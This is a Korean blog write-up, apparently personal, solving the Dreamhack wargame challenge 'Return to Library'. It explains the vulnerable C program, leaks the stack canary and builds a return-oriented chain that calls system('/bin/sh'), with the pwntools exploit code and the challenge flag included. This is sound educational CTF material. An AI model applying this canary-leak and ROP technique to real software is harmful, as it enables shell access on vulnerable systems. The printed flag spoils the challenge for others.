CTF & Wargame(PWNABLE)

[dreamhack] level 2 Return to Library

KWAKBUMJUN 2025. 4. 6. 02:17

문제 분석

checksec을 통해 어떤 보호기법이 적용 되어 있는지 확인해보면 canary와 NX가 적용되어 있는 것을 확인할 수 있다.

 

코드 분석

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0); 
  setvbuf(stdout, 0, _IONBF, 0); 

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

위의 코드를 전체적으로 저번에 풀었던 코드와 거의 유사하다. 하지만 달라진 점이 있다면 "/bin/sh"를 바이너리에 추가한 것과 system 함수를 plt에 추가하여 system 함수를 사용할 수 있도록 코드를 추가한 것이 끝이다.

익스플로잇

1. 카나리 우회

2. rdi 값을 "bin/sh" 주소로 설정 및 획득

카나리 값을 구했다면 두번째 입력을 덮어써서 셸코드를 획득할 수 있지만 해당 문제에서는 NX가 적용 되어 있기 때문에 두번째 입력을 덮어써도 셸코드가 실행되지 않는다. 따라서 다른 방법을 통해 셸코드를 획득해야한다.

 

문제 파일 코드에 system()함수가 있는 것을 확인할 수 있는데, 해당 함수를 이용하여 셸코드를 획득할 수 있다. 따라서 System함수의 Plt 주소를 안다면 system함수를 호출하여 셸을 얻을 수 있다. 그리고 nx는 리턴가젯을 이용해 우회하면 system("bin/sh")를 실행할수 있기 때문에 리턴 가젯을 활용하여 공격을 진행할 것이다.

 

카나리 우회

from pwn import *
p = remote('host3.dreamhack.games', 13731)

# buf 가 0x30
# canary 0x08
# sfp
# ret

payload = b'A' * 0x39
p.sendafter('Buf: ', payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
print(hex(cnry))

위의 코드로 카니리 값을 획득할 수 있다. 

 

리턴 가젯 찾기

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

우리는 익스플로잇에 사용할 가젯을 위와 같이 구성했다. 따라서 우리에게 필요한 정보는 pop rdi 가젯의 주소, "/bin/sh" 문자열 주소, system 함수 plt 주소가 있다.

 

pop rdi의 주소는 

$ROPgadget --binary ./rtl --re "pop rdi" 이 명령어를 통해 찾을 수 있다.

 

"/bin/sh"의 주소는 pwndbg를 활용하여 아래의 사진과 같이 찾을 수 있다.

 

system 함수의 plt주소는 아래와 같이 찾을수 있다.

 

이제 익스플로잇 코드를 작성할건데 한가지 주의해야될 점이 있다고 한다. 그것은 system 함수로 rip가 이동할때 스택은 반드시 0x10 단위로 정렬되어 있어야 한다고 한다. 이는 system 함수 내부에 있는 명령어 때문인데, 이 명령어는 스택이 0x10 단위로 설정되어 있지 않으면 segmantation fault를 발생시킨다. 따라서 이를 방지하기 위해 no-op radget을 사용해야한다. 

 

no-op radget 주소는 아래와 같이 확인 가능하다

 

 

익스플로잇 코드

system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400596

payload = b'A' * 0x38 + p64(cnry) + b'B' * 0x08
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(b'Buf: ', payload)

p.interactive()

system_plt = e.plt['system'] 이 코드는 pwntools api를 사용하여 system 함수의 주소를 가져오는 코드이다. 그리고 binsh와 pop_rdi는 아까 위에서 pwndbg를 통해 구했던 주소를 넣고, ret의 경우에는 no-op gadget을 추가한 것이다.

 

buf 부터 카나리까지 A라는 쓰레기값으로 채워주고 카나리 값을 우회한다. 그리고 B라는 쓰레기 값으로 카나리부터 sfp 까지 채워준 뒤에 마지막에 리턴가젯을 넣어서 셸코드를 획득하는 페이로는 작성해준다.

 

flag : DH{13e0d0ddf0c71c0ac4410687c11e6b00}

'CTF & Wargame(PWNABLE)' 카테고리의 다른 글

[dreamhack] level 2 basic_rop_x64  (0) 2025.04.07
[dreamhack] level 2 rop  (0) 2025.04.07
[dreamhack] level 2 ssp_001  (0) 2025.04.03
[dreamhack] level 2 Return to Shellcode  (0) 2025.04.02
[dreamhack] level 1 basic_exploitation_001  (0) 2025.04.01